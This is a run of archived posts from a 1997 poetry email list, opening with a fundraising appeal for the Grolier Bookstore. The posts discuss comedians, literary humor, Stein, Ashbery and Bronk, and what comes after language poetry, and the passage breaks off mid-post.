You must know The Grolier Bookstore in Cambridge, MA--the ONLY bookstore in the English speaking world devoted exclusively to poetry and prose by poets. Luisa's been the proprietor since 1973, and she is in urgent need of help, or the Grolier will close in September. She must raise $50,000. Thusfar $40,000 has been raised. She's not a non-profit, so as yet, this is not a tax write-off. If you can help, here's what we propose: call Luisa at 1-800-234-POEM and open an account with her, paying whatever you can in now, and then buying books from that account after six months or a year. This means she would benefit from an advance from you of $100, $200 or whatever amount, large or small, and you'll get books eventually (unless she goes out of business). We're trying to prevent that. Please call her if you can. Any amount would be helpful. Forward this message to any poets, writers, readers or poetry supporters you might know...

And thank you so much!

--Carolyn Forche

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524. **Mark Weiss**
Re: jokey and funny
Wed 16 Jul 1997

At 02:04 PM 7/16/97 -0500, you wrote:
>At 1:39 PM -0400 7/16/97, Jordan Davis wrote:
>...
>>

>>But I think a disdain for "mainstream" humor may safely be assumed here?
>>Jordan
>
>what's mainstream humor?
>
>

Jokes about sewer-lines.

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525. Susan Schultz
Re: Bronk v. Ashbery
Wed 16 Jul 1997

The essay, "Fossilized Fish and the World of Unknowing: John Ashbery and William Bronk," by John Ernest (to be found in _The Tribe of John_, edited by yours truly), is actually about the non-influence of Ashbery on Bronk. It's a good essay, one with a sense of humor about it.

Susan

_____

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

http://writing.upenn.edu/epc/authors/schultz
http://writing.upenn.edu/epc/ezines/tinfish

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526. Robert Hale
Re: influential writers/fiction/comedians/poet-comedians
Wed 16 Jul 1997

John Godfrey
Charles Bernstein
Joel Lewis

At 02:52 PM 7/16/97 -0400, you wrote:
>>What poets do poets think would make excellent comedians?
>
>well there's turning the question around a bit
>

>possibly James Tate (in an exceedingly deadpan manner)?
>
>likely Rod Smith (under some circumstances) . . .
>
>there's just two, but the possibilities are large
>
>d.i.
>
>

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527. **David Bromige**
humorists
Wed 16 Jul 1997

---

this isnt going to be comprehensive. I keep remembering more names as i continue reading your postings. and yes what is mainstream humor, an oxymoron? Is it Dana Gioia reading his poem about a kitty in heat, "Come into the garden, Fred"? Another line I recall : "I'm wearing nothing but my flea-collar". The slight shock of "Fred" for those oldfashioned enough to expect "Maud" made me laugh, the first time. The wit of analogy abt nakedness was okay, too. I guess it is what we are calling "jokey"? But it's easy to make me laugh. I even laugh at my own work sometimes. I spent an evening with John Ashbery taking turns at reading aloud the works of William MacGonnigal, touted as "the worst poet who ever wrote." It's bathos at its best.

Evelyn Waugh is funny in a way no one else is (In the earlier novels). I am a sucker for British humor. Dudley Moore & Peter Cook in "Bedazzled"--the scene where Cook plays God (atop a pillarbox) to show Moore (who has to run around the box praising Cooke) just why he (Cooke) got so bored with being an angel in heaven & chose to become the devil instead. Peter Sellers in "The Party", in a probably P.I. role as a person from the subcontinent (India/Pakistan) saying "birdy num-nums" inadvertently over the intercom, & otherwise making gaffes; or in the Pink Panther movie where he disguises himself as the Swiss dentist (actually, as Einstein) in order to pull Herbert Lom's tooth : the nitrous oxide is inhaled by both of them, with (to me) hilarious result. But is this brit or american humor? it was made in the usa. So was chaplin.

American humor is terrific, & I agree with Rachel, early live Steve Martin--it doesnt get any funnier than that, though it doesnt always hold up today, probably because Martin's humor was transgressive in a meta-comedy way, & that has now (thanks in part to Sm's pomo sensibility showing the way) been caught up with. As for Woody Allen, I know he is loathed for going "uptown" & for non-

applicable-to-comedy reasons, but it was pretty funny to see him attempt to rob a bank with a misspelled note.

Has anyone named Mark Twain yet? With a stance like that, he cd come back today & continue his deconstructions.

Stephen Wright's "it's a small world.....But I wouldn't want to paint it" shows, like so much of his work, a sound grasp of the use of silence. Such education in the laconic can readily spill over into poetry.

We Canadians are proud of our comedians--maybe being in yet not of the American thing makes for good funny commentary. And of course, they had to move south of the 49th to make it big. (Except for George Bowering). Perhaps not everyone on this list knows the work of Stephen Leacock. Sometimes it's a bit arch & labored, but in the classic _Sunshine Sketches of a Little Town__ you find his (like they say) unique brand of humor in spades. I'd be interested in backchanneling with anyone who'll attempt an analysis of its workings. It works in part, I think, by puffing up then deflating pretensions of the provincial sort (& hey, what arent?)

Henry James is a master of the shaggy dog punchline. Recall in _The Ambassadors__ when the Pococks are coming, that we are told of Lambert Strether, who hAd checked for a wire from them the day before only to find none, that today when he checks there is one, to the effect that they will shortly be in Paris where he is, "So, if yesterday he had occasion for a small disappointment, today he had occasion for its opposite" ? (I'm paraphrasing here). Hmm. Had he been living in england a while when he wrote that?

Creeley is pretty damn funny--a story (in _The Gold Diggers_) that begins "To work was to pray. He worked" -- or the poem "My wife & I lived all alone. Contention was our only bone. I fought with her, she fought with me, & things went on right merrily"...are xtreme instances of the yankee p-o-v that informs much of his work. But its not only yankee, isnt RC close to being Irish?

And there's none like the Irish for a good laugh, & I second Matthias Regan's nomination of Beckett as the funniest author available. His people are crippled or dying, in incredibly straitened circumstance, echoes (pre-echoes, uncannily, sometimes) of the displaced persons wandering europe for years during/after ww 2, & it is always side-splittingly funny. There's a perpetual undercutting--witness _Malone Dies__ . And yet never a feeling that such persons/conditions are being laughed at in a patronizing way.

Peter Quartermain's paper delivered at the Blaser Conference, on how laughter returns us to our bodies, has been with me ever since I heard it, as explanation (& a justification) of & for humor's place in "serious" literature. I _think_ it's called "Out of the Frying Pan". I dont know if its been published anywhere yet.

Well thats enough of that. David

↑ Index

528. **Steven Marks**
Re: jokey and funny
Wed 16 Jul 1997

On Wed, 16 Jul 1997, Mark Weiss wrote:
> At 02:04 PM 7/16/97 -0500, you wrote:
> >At 1:39 PM -0400 7/16/97, Jordan Davis wrote:
> >>
> >>But I think a disdain for "mainstream" humor may safely be assumed here?
> >>Jordan
> >
> >what's mainstream humor?
> >
> Jokes about sewer-lines.
>
No, wrong. It's a 500-sheet book about Main St. that is printed backwards.

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

529. **Matthias Regan**
Re: jokey and funny
Wed 16 Jul 1997

Jordan writes:

> *But I think*
> *really very funny comedy ...is as strong a solvent of one's grimy limits as any poetry -- which is not to propose that poetry isn't allowed to be funny;*

I think we mostly agree: as I hope the anecdote about "Endgame" suggests, I am not trying to make any kind of hi-brow/lo-brow distinction or to suggest that poetry or any other art form should be hilarious as hell when desired/required. But at the same time I'm not sure the metaphor of poetry as solvent works for me, except possibly in as much as a solvent allows substances (colors of paint maybe) to mix--and I suppose that mixture IS a vital aspect of

many jokes. Still I guess I don't think of poetry as providing relief in specifically that way.

> *on the contrary, it seems something like a tenet of the poetry in this list's collective consciousness that _laughter indicates perception_. Of course once you recognize _that_, it's even more of a battle to keep from being _jokey_, which is as far from funny as you can get, though the two are in practice usually undistinguished.*

How are you distinguishing them?
Intention?
Need? Circumstance?

> *But I think a disdain for "mainstream" humor may safely be assumed here?*

On my part, O absolutely. Mainstream at least as it describes Letterman and George Carlin and "2nd City" and "The Captial Steps". Of course jokes are mainstream in a different sense--they strike me as one of the few pervasive & widespread (popular) original bits of "folk culture" left. For example, I have almost never actually heard people not termed "specialists" invent songs in response to current events, but I have first-hand heard jokes materialize "on the street" in response to the same.

Matthias

↑ Index

530. **Thomas Bell**
(no subject)
Wed 16 Jul 1997

Migght be of interest

http://www2.bc.edu/~richarad/lcb/home.html

Literature, cognition, and the brain with a link to a metaphor databank tom bell

↑ Index

531. **Michael Magee**
Re: influential writers/fiction/comedians/poet-comedians
Wed 16 Jul 1997

James Tate is the only poet I've ever heard read who laughed extensively (*extensively*, I mean like over & over) at the jokes in his poems. Surprisingly, it was kind of endearing. My favorite joke: the end of his poem "I Left My Couch in Tatamagouche": "I left my couch in Tatamagouche, / and that has made a big difference."

-m.

According to David
Israel: > > >What poets do poets think would make excellent comedians?
>
> well there's turning the question around a bit
>
> possibly James Tate (in an exceedingly deadpan manner)?
>
> likely Rod Smith (under some circumstances) . . .
>
> there's just two, but the possibilities are large
>
> d.i.
>

↑ Index

532. **Pritchett,Pat**

Re: influential ... comedians / more urb

Wed 16 Jul 1997

Ah, TV time... I've had moments when I thought "Seinfeld" was the greatest thing on TV. But the show's clearly in a slump and they ought to just pack it in. The Simpsons rule, of course, and yet - their once subversive edge is playing more and more into the regular sitcom formula of jokes rounded off by some pious moral.

Those Conan bits do sound good, Jordan. But that's way past my bedtime. And what about the great great Preston Sturges? Caught "Palm Beach Story" (again) on AMC the other day. Wonderful stuff.

Patrick Pritchett

From: Jordan Davis
To: POETICS
Subject: Re: influential ... comedians / more urban boosterism
Date: Tuesday, July 15, 1997 8:46PM

Are there other poets out there who've done their tv time?

J

↑ Index

533. **Pritchett,Pat**
Re: Influences
Wed 16 Jul 1997

Andy Kaufman was wonderful. Some years ago there was piece in Esquire detailing, among other things, how he created his own weird private comic universe in his room as a child.

And I still think often on Buckley on the Bard: "the bad jazz a cat blows
wails on long after he's been cut out"

From: rsillima
To: POETICS
Subject: Influences
Date: Wednesday, July 16, 1997 5:56AM

Lord Buckley
Andy Kaufman

↑ Index

534. **Pritchett,Pat**
Re: influential writers/fiction/comedian
Wed 16 Jul 1997

And what about some of dem dere SCTV peoples? Eugene Levy doing "the great Perry Como" through increasing stages of "mellow" ending with shot of him singing in bed, the blanket pulled up to his chin.

From: Michael Magee
To: POETICS
Subject: Re: influential writers/fiction/comedians
Date: Wednesday, July 16, 1997 7:36AM

From Maria & Steven:
">> > >What comedians do people find inspiring?
>
>None, now."

You should, if they ever run them anymore, check out the few episodes of a program called "The State" which ran alternately on Comedy Central and MTV over the last couple years - some of it is brilliant sketch comedy, the first to truly move beyond both Monty Python & SNL in its conceptions - my personal favorite: an idiotic piece called "Froggy Jamboree," where to members come on screen and tell the story about how the rest of the ensemble wouldn't let them air their sketch idea during the show but were gracious enough to let them play

it over the credits, at which point the scene cuts to the two of them in full body frog suits splashing spasmodically in a kiddy pool while playing banjos: that's it.

↑ Index

535. **Dave Zauhar**
Re: tummlers
Wed 16 Jul 1997

Rachel Loden wrote of several great comic moments, including:

> *Mike Myers as Dieter, host of "Sprockets";*
> *Rachel L.*

Perhaps the greatest skit in the history of poetry took place on this SNL set-piece: Dieter introduced "the Great American Poet of the Abyss, Jimmy Stew-art." Dana Carvey came out and read some of those "my loyal dog" poems that the now-defunct Stewart read on the tonight show (sorry, I can't quote them from memory, and my copy is not at hand), and then explained to the rapt Di-eter that "I wrote that poem while hitchhiking through South America with a 14 year old Mexican whore. One morning I woke up in a pool of my own sick and found out she robbed me. . ." Suggestions of a darker side to Jimmy Stewart's poetic persona.

DZ

↑ Index

536. **Robert Drake**
Virtual Anthology: announce & invite
Wed 16 Jul 1997

You all are invited to visit, and contribute to, the new Virtual Anthlogy Project, now online at:

http://www.ims.csuohio.edu/VA/VAintro.html

A number of listmembers & fellowtravelers have work featured in the various magazines indexed there, including: Mike Basinski, Steve Carll, Chris Daniels, Jacques Debrot, Dan Featherson, Peter Ganick, Los Glazier, David Golumbia, Hank Lazer, Sheila Murphy, Dan Raphael, Ken Sherwood, Alan Sondheim... ohdear, who did i miss?..

The site and the project might be particularly interesting in light of recent dis-cussions around "acadominance", criticism, and "schools" of poetry (that last reminding me of schools ov fish). At any rate, wd appreciate any feedback.

lbd

---------- Here's from the introductory page:

Welcome to the second stage of the *CybpherAnthology of Discontiguous Literature*. This project is spurred by the recognition that a number of online experimental lit zines seem to draw from an overlapping community of contributors, and praps aesthetics: Jake Berry's *The Experioddicist*; *Juxta Online* edited by Ken Harris & Jim Leftwich; and Tom Taylor's *Anabasis* for a start. During the first stage, we collected and indexed these publications. So far, the following indexes have been completed:

* Juxta Electronic, issues #1 thru #21;
* Experioddi(cyber)cist, issues #1 thru 16,
  plus a number of online chapbooks;
* Anabasis/Vision Project;
* an Authors Index; all works in the above zines, alphabetically by author.

^^^^^^^^^^^^^^

These indexes (and the archives that they link to) are now online, enabling quick access to individual works searchable by author or publication. Additional indices are under construction (for instance, to all the single-author chapbooks, and to the collaborations); suggestions for additional indexing are welcome.

You're Invited to contribute to the second stage of this project. The goal is to generate a body of critical work, based on this corpus of texts (and related), using the linkages made available in this format for hypercitations. That work, in the form or essays, close readings, commentary and critique, will be presented as an online issue of TapRoot Reviews, tentatively scheduled for the end of 1997. The overall aim is to put this body of work into a context of community and discussion, and ultimately to help readers find a way in to that community of writers/texts.

Creative Uses of the media and message are encouraged. I'd particularly encourage folks to push the bounds of traditional critical "norms", as befits the non-traditional nature of many of these texts. Additionally, significant print-only zines such as Ficus Strangulensis' *Transmog* and John M. Bennett's *Lost and Found Times* seem relevant; energies that would enable us to engage those (and others) online would be helpful. Any feedback at this stage is most appreciated. Email me:

[redacted].

luigi-bob drake, ed.
TRR/Burning Press/etc...

↑ Index

537. **DS**
Re: influences in prose & comedy?
Wed 16 Jul 1997

At 08:57 AM 7/16/97 -0600, you wrote:
>George: that's unfair. Canucks have their comedians too:

Isn't David Boswell's Reid Fleming - The Worlds Toughest Milkman - Canadian?

Dan

↑ Index

538. **marott**
Where are we in all this?
Wed 16 Jul 1997

Friends,

I want to add my two or three cents to Mr. Prejsnar's very interesting post of the other day about the position of younger poets in respect to the mainstream and the experimental. In his post Mr. Prejsnar closes with:

I have sympathy with your feeling that there is much more, beyond what's been done, for younger poets to reach toward. But: 1. to just abstractly shrug off what was done in the 70s and 80s could risk being just fashion-mangering; 2. if there's any truth or utility to a given group of theoretical insights ya gotta go *thru* them to get to your next step, and neither go around 'em, nor retreat back from them...

Please forgive me if some of this territory has already been tread upon. I've been out of the loop for a few months and only just recently began to read these posts again. At any rate, thinking about Mr. Prejsnar's post, I was re-reading Richard Silberg's article in the June/July 1997 issue of Poetry Flash in which he suggests that "the center itself is starting to break up, to shift and slide." Then he examines some recent work by three poets-Brenda Hillman, Jane Miller, and Jorie Graham-whom he considers to more or less represent "the American main-line," using these three as examples of this supposed shift from center. Then he ends his essay with this:

As I'm sure you've noticed, all three of these poets are women. I wanted to pull in some experimental, mainline-based men to balance this review out, but I couldn't come up with any. I was talking it over with Joyce Jenkins, editor and publisher of these pages [Poetry Flash], and she felt that it's women today who are doing the feelingful poetic experimenting, that male experimental poets, whether mainline-based, Language-based, or postmodernists somewhere 'in be-tween', tend more to be what we could call head poets or maybe poets of

power. I'm resisting that idea, for obvious reasons, but I'm having trouble refuting it. What do you think?

Well, I think that I am a 33 year old male writer who is, I guess, "somewhere 'in between'." (I'm not really sure though.) One time, about three or four years ago, after a reading here in Berkeley I was at a bar with Lyn Hejinian and some other folks of my generation and I asked to no one in particular, "Am I a 'language' poet?" Then, interestingly, Lyn shot back, "Am I?"

At any rate, these many years later, I can decidedly say that I am not a "laguage" writer. That would be an impossibility. I'm too young. But, I do come at poetry from the margins, and for as long as I've been writing experimentally, practically all of my writing career-after doing a stint in graduate school at UCSD and becoming a member of what Ron Silliman calls "the San Diego Mafia"-I've been concerned with the issue of audience. That is, though I think of myself as an experimental writer, one who cut his writing teeth on the likes of Barrett Watten, Ron Silliman, and Charles Bernstein, I want to write poems that, say, my gramma can read and not simply respond to them by saying either, "That's nice, honey" or worse, "I can't read this. It doesn't make sense."

Of late I've been increasingly concerned with this problem of audience, especially in one particular way that it manifests itself: the inability of the mainstream to converse with the experimental. I've even embarked on a project of writing a series of volumes of occasional poems, poems written for particular individuals (mostly non-poets who, I'd guess, would politically represent the mainstream) on particular occasions (weddings, birthdays, deaths etc.). I hope not only that the people for whom I've written these poems can read them with pleasure, I also hope that poets and editors and teachers from the center would also be able to. Some few of you on this list have, I know, seen or heard some of these poems. While I think of these poems as experimental in that they, for the most part, fragment narrative, eschew representation, mess with conventional syntax, they're written for real people out there, so there's something in them that makes them, I think, really mainstream and therefore, I hope, infinitely readable. That is, I hope the poems, at once, embrace difficulty while also seducing the lazy reader. Since I'm pretty darn shy and hardly ever post, and since most of you have never heard of me, never seen my work (I've got an O Book and a chapbook from Pasquale Verdicchio's The Parenthesis Writing Series), I'll post for you here one of these occasional poems to which I'm referring, so you can see what I mean. (Forgive me for tooting my own horn here.) Okay, here goes:

Still and All

-for Marta, a valentine

Outside, the streaked kitchen window
beyond our wrought iron
grill work, detachable

in case of earthquake, fire
events, cataclysmic
by law required avenues of escape;

branchlets of willow confused and menacing
in winter seeming dead, crumpled
impossible even to imagine, ever

quickening; now
again, doused by early spring rain
against the torn and soggy pages

of some Sunday morning read-out
of the sky's hard fact littered with slate and steel

banks of cloud and breaths, drawn

anew, small
and tender

trembled, buds in gusts
pinking;

and I think of such mornings when empty pavement meant
a parking lot, the aroma of coffee and sweet jam
permeated the margins, emerging

from night's draped coma, the cold sheets
rose around your soft figure, if it please

you may, shouldering
the idea recorded of a late winter dawn-

that voice, mouth
and kisses

when you used to call me, baby.

As this poem demonstrates (I hope...), if I were to place myself and my work on a poetics numberline, with -10 being stridently conventional and +10 being wildly experimental, I think I'd say that my poetics are up at 10 but my work, increasingly, hovers at around 5 or so (this poem, for example, is quite lyrical, indulges in a romantic appostrophe, utilizes various phonic techniques, treats the line in a fairly conventional manner and on and on). But it's still experimental or avant garde or whatever, influenced by "L" writing, right?

Now, I wonder, where would you all place yourselves on my -10 to +10 continuum? (I'm serious. I want to know.) Is a discrepancy between one's poetics and one's actual poems an unforgivable problem, a selling out of the politics of the great "L" project? Am I doing a Clinton and, evil critter that I am, trying with my work to centralize the radical left? Is there something wrong if you, like me, find yourself interested in writing poems that gramma can read and enjoy? And what if you're a man and find yourself interested in what Richard Silberg describes as "a feelingful poetic experimenting"? Does that mean that you're, as Mr. Prejsnar describes, going "around" the theoretical insights of the 'language' writers rather than going "thru" them? Or worse, "retreat[ing] back from them"? What role does gender play in all this anyway? I look forward to your responses.

Thanks for your time,

Scott Bentley

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539. **Burt Kimmelman**
Re: Bronk v. Ashbery
Wed 16 Jul 1997

---

one thing bronk and ashbery share is a good ear for the au courant lingo. both tend to turn cliche' s etc. to their respective advantages in their poetries, ashbery much more overtly.

↑ Index

540. **Burt Kimmelman**
Re: Bronk v. Ashbery
Wed 16 Jul 1997

---

i'm afraid i missed some of the prior discussion on the bron-ashbery thing. did i miss much?

↑ Index

541. **Alan J Sondheim**
Fragments of Colonization (fwd)
Thu 17 Jul 1997

--+-+-----++---

Fragments of Colonization

quiz Asian Capital Bahrein
Manama Pakistan Jakarta What? Djakarta What?

Islamabad South Yemen Aden Nepal Katmandu Laos
Vientiane Taiwan Taipei Right! Turkey Ankara Right! Indonesia Djakarta Right! Bangladesh
Dacca Philippines Quzon City What? Quzon What?
Quezon City Vietnam Hanoi Right! Cyprus
Nicosia India Delhi What? Iran Tehran Right! South Korea Seoul Right!

Lebanon Beirut Iraq Baghdad Khmer Phnom Penh Sri Lanka
Colombo Israel Jerusalem Right! Qatar Qatar What? Doha Afghanistan
Kabul Australia Canberra Right! China Peiping What? Peking Right! Bhutan
Thimbu Japan Tokyo Right! Syria
Damascus Jordan

Al-kuwait Burma Rangoon Right! Thailand Bangkok Malaysia Kuala Lumpur Maldive Islands Male Mongolia Ulan Bator North Korea Pyongyang Right! Singapore Singapore Papua-New Guinea Port Moresby North Yemen San'a Oman Muscat

Rights 12, wrongs 29, extra guesses 6, score 29%

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542. George Bowering
Re: influential writers / the Strand strand
Thu 17 Jul 1997

> *Hugh Steinberg writes "I literally devour texts."*
>
> *Is this that Performance Art I've heard so much about?*
>
> *Is this a reference to Mark Strand's hideous poem, "Eating Poetry"?*
>
> *Jordan [Davis]*
>
> *I remember it -- ink oozing out of mouth of the poetry-eater . . .*
>
> *a bit macabre, you're saying? (too gothic? cannibalistic?)*
>
> *memorable, anyhoo*
>
> *d.i.*

Have a look at Revelation 10:10!

Yrs-GB

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

543. George Bowering
Re: influential writers/fiction/comedians/poet-comedians
Thu 17 Jul 1997

> *What poets do poets think would make excellent comedians?*
>
> *well there's turning the question around a bit*
>
> *possibly James Tate (in an exceedingly deadpan manner)?*

I dunno. One day in Toronto I took him to my favourite bar and i cracked 22 jokes, and he didnt crack one. Then I took him to the Longhouse bookstore to show him some typical Canadian poetry. I made him look at a few pages of a book by Steve McCaffery. When I wasnt looking (he thought) he put the book back and wiped his wingers on his shirt. I thought that was funny, but he wasnt cracking a joke.

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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544. Schuchat Simon
Re: New S&M books
Thu 17 Jul 1997

Douglas, why don't you reprint

BEAN SPASMS by Berrigan, Padgett & Brainard -- my copy disappeared many moves ago and I have always wanted to replace it, not possible.

also, why not reprint

ALL MEN ARE BROTHERS, translation of classic Chinese novel by Pearl Buck, which Kenneth Rexroth described as "a classic of American prose" which it is, despite problems with the text she used for translation and other factors, still it is a great American version of a very great Chinese original,

and also, why not reprint the first three Harry Mathews novels, namely,

TLOOTH
The Conversions
The Sinking of the Odrachek Stadium

& for the list, what else that's out of print that should be back in print?

↑ Index

545. **joel lewis**
comedians
Thu 17 Jul 1997

---

i'll put in the name of Jean Shepherd--a man who anticiapted much. As a kid listened to his 10:15-11pm radio show on WOR/NYC-- 45 minutes of free-form talking, kazoo playing and general nuttiness. his books of short stories are still in print and his "xmas story"movie based on his stories is now a xmas perenial. in 50's was ur-hipster, called his audience the night people and they answered john cassavettes on air appeal for monet, which financed his first film. he went off air in 80's did some fine work for PBS, butseems quite forgotten now.

joel lewis

****

JOEL LEWIS
[redacted]
>>>>>>>>>>>>>>>>>>>>>>>>>>>
SLEEP FASTER! WE NEED THE PILLOWS!
--- Yiddish aphorism
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

↑ Index

546. **Jill A Mccartney**
Re: stein and gold
Thu 17 Jul 1997

---

some related points to the gold piece:

gold strikes a similar pose to the one struck by various artists and writers who published their rebuttals to stein's portrayal of them in the *Autobiography*. in a special supplement to *transition*, a little magazine which often published

stein's work in the 1920s, stein and her *Autobiography of Alice B. Toklas* were the subject of derision, chastisement, correction, and ridicule. in one rant, the author (i can't remember who) accused her of never really knowing what the artistic/social/political ferment around her was really about it. the general feeling expressed was that stein had unfairly profited from her association with them.

gold's accusations that stein is a "literary idiot" by the exploitation of a so-called "primitive" or childlike language echoes, oddly enough, ts eliot's review (among others) of stein's work.

what's also interesting about gold's presentation of stein is that he's the only one i've ever encountered who claimed that stein was an "excellent medical student" or "a brilliant psychologist." a look at her transcripts shows that she struggled after her first year in med school, and the record of her career as a "psychologist" is, i believe, best shown in the literary works gold eschews. michael magee is right to note the petulance of gold's complaint that her literary work falls short of the promise that her scientific start hinted at.

despite my general disagreement with much of gold's article, i do think he's on to something in terms of noting what is often missing in much stein criticism. to focus exclusively on the linguistic play of stein's writing is, i think, to make of her work a bourgeois parlor game. (jeremy green has written of needing to recover the dialectic of her writing.)

jill mccartney

↑ Index

547. **Maria Damon**

Re: jokey and funny

Thu 17 Jul 1997

At 12:29 PM -0700 7/16/97, Mark Weiss wrote:
>At 02:04 PM 7/16/97 -0500, you wrote:
>>At 1:39 PM -0400 7/16/97, Jordan Davis wrote:
>>...
>>>
>>>But I think a disdain for "mainstream" humor may safely be assumed here?
>>>Jordan
>>
>>what's mainstream humor?
>>
>>
>
>Jokes about sewer-lines.

no, seriously. i think over the last coupla years i've grasped the difference bw-teen "mainstream" and "alternative" poetries, but in the realm of humor, i gotta say, i don't know what it is, but i know what i like, and it's lenny and the marxes,etc. and i still remember listening to firesign theatre's "beat the reaper" routine on boston's "underground station" as a high school kid, alone in my room with only my latin homework to keep me company, and loving it. what's an example of mainstream humor?

↑ Index

548. Bennett M. Sm [Dimpson

Dennis Cooper

Thu 17 Jul 1997

Dear Dodie Belamy + Kevin Killian, et al.

Okay, Dennis Cooper does deserve more than I gave him in another post. I agree with Dodie that his ability to cull influence from the "everyday" is pretty great. Rock bands, specific porn titles, carpet burns --all are used fluidly, an ab-ject object world parallel to metaphysics (not allegory though, in that objecta and idea both merit equal over-exposure). I think my reluctance to Cooper comes from the aura of "transgressiveness" foisted on him by publishing/media machines. Need to get through the hype. On their own (is there such a thing as "on their own" with material like this?), passages like the following *are* fairly powerful if the reader is willing to dance around a mess of cultural baggage and false difficulties:

"In Chris' fantasy, he's a ten year-old lost in some forest. He sees a cabin with sweetly lit windows, and knocks. A monster of some sort invites him inside. As soon as the door shuts, the monster tears Chris's clothes off, ties him down on a bed, and tortures him for hours and hours. Then they fuck, and as the monster comes, he brings out a machete and hacks Chris's head off. That's making a long story short." (_Guide_ 41-42)

Or maybe passages like this are powerful exactly becasue of messy cultural baggage and false difficulties. Cooper is a great acrobat, regardless of how his writing makes the reader feel ("nauseated," put-out, de-sexualized, over-medi-ated). I don't want to think aobut Cooper's "intent" or if "shock" is purposed specifically by him. That's a rut to get in.

un-seem-ly,

Bennett

&c.&c.&c.&c.&c.&c.&c.&c.
&c.
Bennett Simpson &c.

[redacted] &c.
&c.
&c.&c.&c.&c.&c.&c.&c.&c.

↑ Index

549. **Steve Shoemaker**
Re: influential ... comedians / more urban boosterism
Thu 17 Jul 1997

"Are there other poets out there who've done their tv time?"

Oh yeah, i've definitely done my time. Current fave sitcoms are 3rd Rock from the Sun (amazing surreal space theatre) and Frasier. I've especially loved all those shows over the years with great large, ensemble casts like Taxi (all-time fave), Cheers (only the early ones, w/ Diane), and M=A=S=H (early ones, pre-Colonel Potter). Also Mary Tyler Moore, Rhoda, Bob Newhart, All in the Family etc.--all the stuff i grew up watching with my family--you know, back when there were only 3 networks, and everybody watched the same thing, and prime-time really *was* family time. I used to like those big comedy variety shows too, like Carol Burnett, and Flip Wilson, and Sonny and Cher--of course i was only about 8 years old i guess. I'm still waiting for Flip to come back in reruns (any of you potes doing programming at Nik?) so i can see if i still think he's funny.

from-the-booth-in-the-back-in-the-corner-in-the-dark (as Geraldine used to say), steve

↑ Index

550. **Daniel Bouchard**
Re: Influences
Thu 17 Jul 1997

The Mike Gold piece on Gertrude Stein that Rachel L. posted really caught my eye. How does a piece really catch your eye, you ask, without a bloody result? Observe the following: I admire much of Stein's writing. On the other hand, much of it I find innovatively dull. This is my opinion for which I carry an entitlement in my breast pocket.

Gold makes himself out to sound like party apparatchik condemning the artist who is not towing the line for the Revolution. At first, anyway. I wonder what people make of his comment on "idle art."

[redacted]

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551. **Mark Wallace**

What comes next?

Thu 17 Jul 1997

I want to take up Jacques Debrot's important question, from about a week ago now, about the question of "what comes next" after language poetry.

The first thing to say, I think, is that language poetry is in no sense "over." While the initial impact of much of the work associated with this term now certainly has a history, many language poets are continuing to write wonderful poetry and criticism, with greater or lesser relation to what might be seen as the originary impulses of their context. So in speaking of "what comes next," I don't think one is talking about what will REPLACE language poetry. This is especially true as one of the things I love about poetry generally is that it cannot be "replaced"--history continues to roll, yes, and Emily Dickinson's world is not so simply our own, yet in what significant sense is her work "replaceable"?

So the question, if not what will replace language poetry, seems to me more what contexts, approaches, and concerns will be the crucial ones for a generation of poets influenced (to various degrees, and with various levels of antagonism) but not delimited by the concerns of language poetry?

I think, in response to Jacques' question, that a great deal of work has already been done on this subject, both in terms of poetry and poetics. I can't provide a complete list of writers here, but they include poets, poet-critics, and critical writers like Lee Ann Brown, Juliana Spahr, Harryette Mullen, Rod Smith, Jefferson Hansen, Tan Lin, Rodrigo Toscano, Charles Borkhuis and many many more.

Nor can I, here, summarize a very complex area of activity. Certainly one of the main things that I see among these writers, is that, perhaps to a greater degree than language poetry (if only, at the very least, because there are so many more of these younger writers), there is no simple consensus about what concerns are important--the area involves as much lack of agreement as it does a shared sense of what matters. Even the two people that Jacques mentions, Mark Ducharme and myself, have different significances in focus, although we share a great deal. If I understand properly an article by Mark forthcoming in the next (I think) issue of TALISMAN, he wants to characterize these writers as being marked by a kind of DIVERSITY of poetic approaches, and Mark urges an openness to diversity. While his description has some truth, my own concerns in essays like "Towards A Free Multiplicity of Form" have perhaps been more polemical. I'm not in favor so much in some generalized diversity of forms ("any way you do it, that's okay with me!") as I have been calling for a CONSCIOUS exploration of multiple formal approaches, even in the case of a single writer. Not "acceptance of diversity" so much as "consciousness of the implications of

choices of form" and an attempt to NOT settle for singular traditions or approaches. "Diversity" in poetry seems to me fine ONLY as long it contains awareness about the implications of form, and conscious attempts to find those forms which might reveal untapped potentials in given areas. A more generalized "diversity" that suggests "we're all individuals, and we're all okay" runs to my mind the risk of avoiding the key question of the relation between forms of poetry and forms of culture--if you're not paying attention to how the forms you choose to use tie into the context of the world around you, then I think that's probably NOT okay. But mine, of course, as Mark rightly points out, is only one take of many.

Interesting to me also, on the subject of how one's thoughts about form tie into the world beyond, is the dynamics revealed in a question like Jacques' important one "What comes next?," a question key to the whole history of modernism. Steve Evans' essay THE DYNAMICS OF LITERARY CHANGE does a profound job of putting the question "what comes next?" into context. For haunting that question is the question of the NEW, and Jacques might easily have said "What's NEW?" What Evans has done, I think (as have some others like Jefferson Hansen), among much else, is to problematize the very notion of looking for the NEW. This is not the same as accepting "tradition" unproblematically. Rather, I think this particular generation of poets find themselves at a moment when one must be as ironic about the NEW as one must about the "tradition," without giving up on the possibility of innovation, integrity, and concern with what has been left unexplored.

The irony of the NEW I think may best be expressed by a closing quotation here. Thankfully, this quotation does NOT sum up the value of the new in the work of those poets who have begun appearing in the 90s. But it does express how EASILY that value might be missed, and why irony is necessary these days whenever you or I ask "what's next?". I hope you'll read this closing quote closely, because it's BRILLIANT, it really is, especially considering what it is.

It's from the book BEER BLAST; TWENTY YEARS OF FADS AND FOLLIES IN THE BATTLE OF THE BREWS, written by Phillip Van Munching, whose company handled the international distribution of Heineken until being forced out several years ago:

